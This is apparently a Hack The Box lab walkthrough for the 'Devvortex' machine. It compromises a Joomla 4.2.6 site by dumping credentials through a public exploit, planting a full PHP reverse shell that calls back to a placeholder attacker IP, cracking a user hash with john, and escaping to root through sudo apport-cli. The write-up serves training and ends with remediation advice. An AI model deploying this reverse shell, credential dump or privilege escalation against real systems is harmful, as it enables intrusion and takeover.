https://www.hackthebox.com/machines/Devvortex

OS: Linux

10.129.229.146

Credentials:

UsernamePasswordNotes/Hash
lewisP4ntherg0t1n5r3c0n##dumped from joomla exploit

nmap results:

# Nmap 7.99 scan initiated Sun Jun  7 19:40:01 2026 as: /usr/lib/nmap/nmap -p- --open -sC -sV -A -vv -oA nmap/Devvortex 10.129.229.146
Nmap scan report for 10.129.229.146
Host is up, received reset ttl 63 (0.016s latency).
Scanned at 2026-06-07 19:40:02 EDT for 19s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

Attack + Enum Vectors

  • TCP 80: HTTP nginx 1.18.0
  • TCP 22: OpenSSH 8.2p1

UDP (161 SNMP)?

  • closed / filtered

Service Enum Notes:

Web Service: Gobuster / fuff

going to http://10.129.229.146 it redirected to http://devvortex.htb. So let’s add that to our /etc/hosts:

10.129.229.146 devvortex.htb dev.devvortex.htb

tried subdomain fuzzing:

ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.devvortex.htb" -u 10.129.229.146

returned nothing

Turned out the way I was using ffuf to fuzz subdomains is wrong:

ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.devvortex.htb" -u http://devvortex.htb -fw 4 

Needed to use http://devvortex.htb or http://10.129.229.146 as -u

dev                     [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 9171ms]

Without further ado let’s go on dev.devvortex.htb

http://dev.devvortex.htb/

had some errors, let’s add it to our /etc/hosts file:

10.129.229.146 devvortex.htb dev.devvortex.htb

running gobuster:

gobuster dir -u http://dev.devvortex.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 -r -b 403,404

I got these results and stopped first:

templates           (Status: 200) [Size: 31]
media                (Status: 200) [Size: 31]       
images               (Status: 200) [Size: 31]
home                 (Status: 200) [Size: 23221]
modules              (Status: 200) [Size: 31]
plugins              (Status: 200) [Size: 31]       
includes            (Status: 200) [Size: 31]
language             (Status: 200) [Size: 31]
components           (Status: 200) [Size: 31]
cache                (Status: 200) [Size: 31]
api                  (Status: 406) [Size: 29]
libraries            (Status: 200) [Size: 31]
tmp                  (Status: 200) [Size: 31]
layouts              (Status: 200) [Size: 31]
administrator        (Status: 200) [Size: 12211]

because going on /administrator reveals it using joomla

using joomscan

joomscan -u http://dev.devvortex.htb

it revealed that joomla is running v4.2.6 on the web server: Searching online we found this exploit https://www.exploit-db.com/exploits/51334 which is actually a ruby code, despite using searchsploit -m has extension of .py

ruby 51334.rb http://dev.devvortex.htb

revealed:

Users
[649] lewis (lewis) - [email protected] - Super Users
[650] logan paul (logan) - [email protected] - Registered

Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false

Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4ntherg0t1n5r3c0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0

Perfect we got some credentials and username! usernames:

lewis
logan
P4ntherg0t1n5r3c0n##

then using: lewis:P4ntherg0t1n5r3c0n##

We got into administrator dashboard!


Initial Foothold

Now let’s get a reverse shell: for reference looking at hacktricks: https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/joomla.html#rce

We go into system on the left menu bar: then go into site templates, and click on the cassiopia template, now paste in our pentestmonkey reverse shell

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = 'HTB_VPN_IP';  // CHANGE THIS
$port = 1337;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

Note: in a real penetration testing scenerio, I would probably decide to add a backdoor embeded in the php code just so we don’t create any errors

Set up listener

sudo nc -lvnp 1337

save the template file: then visit

http://dev.devvortex.htb/templates/cassiopeia/error.php

and we got a reverse shell, perfect! Let’s stabilize it:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Ctrl + Z to background the shell:

stty raw -echo;fg
reset

enter my terminal size:

stty rows 48 cols 210

and we have full functioning shell!


Priv Esc

I can’t read the user.txt file in /home/logan for somereason, I guess we would have to move to the user some how? Let’s first try password spraying:

P4ntherg0t1n5r3c0n##

that we got earlier, and didn’t work

However, I recall that we got lewis password was from the database:

mysql -u lewis -p

enter the password in

P4ntherg0t1n5r3c0n##

and we got in mysql database! Enumerate databases by:

show databases;

there’s a joomla database, let’s enumerate that:

show tables;

the table that seems like most close with users and passwords is:

select * from sd4fg_users;

and we got logan hash is:

$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

and let me copy that to logan.hash; let’s use john to crack:

john --wordlist=/usr/share/wordlists/rockyou.txt logan.hash

returned password:

tequieromucho

and let’s pivot to logan

su logan

enter the password

tequieromucho

Perfect, now we are as logan

sudo -l

shows:

Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

Ok first on: https://gtfobins.org/gtfobins/apport-cli/ it shows that apport-cli inherits from less. Therefore we can possibly spawn a shell the same way as less: https://gtfobins.org/gtfobins/less/#shell

Start apport-cli with sudo

sudo /usr/bin/apport-cli -f

then enter 1 and <enter>

1

then enter 2, and press any key after a few seconds

2

wait to load and press v:

v

Now to spawn shell we do:

!/bin/bash

and we got root!

Therefore, pwn’d.


Conclusion & Remediation

Overall this machine was pretty easy, but also very fun. I liked how the inventor of the box started with like a mask/cover using dev subdomain then we would have to leaverage vulnerabilities to get credentials and using that again after we have shell to enumerate mysql. Then it was pretty straightforward but I have never played with sudo apport-cli privilege escalation which worked like i thought it would and boosted my confidence a little.

To remediate for similar attacks: system administrators should restrict access to private or developers subdomains. Update joomla to the latest version and possibly add salting to databases to prevent hash leaks. Also, misconfigured sudo permissions needs to be checked and removed to apply the principle of least privilege. Only commands required for the user’s job should be permitted.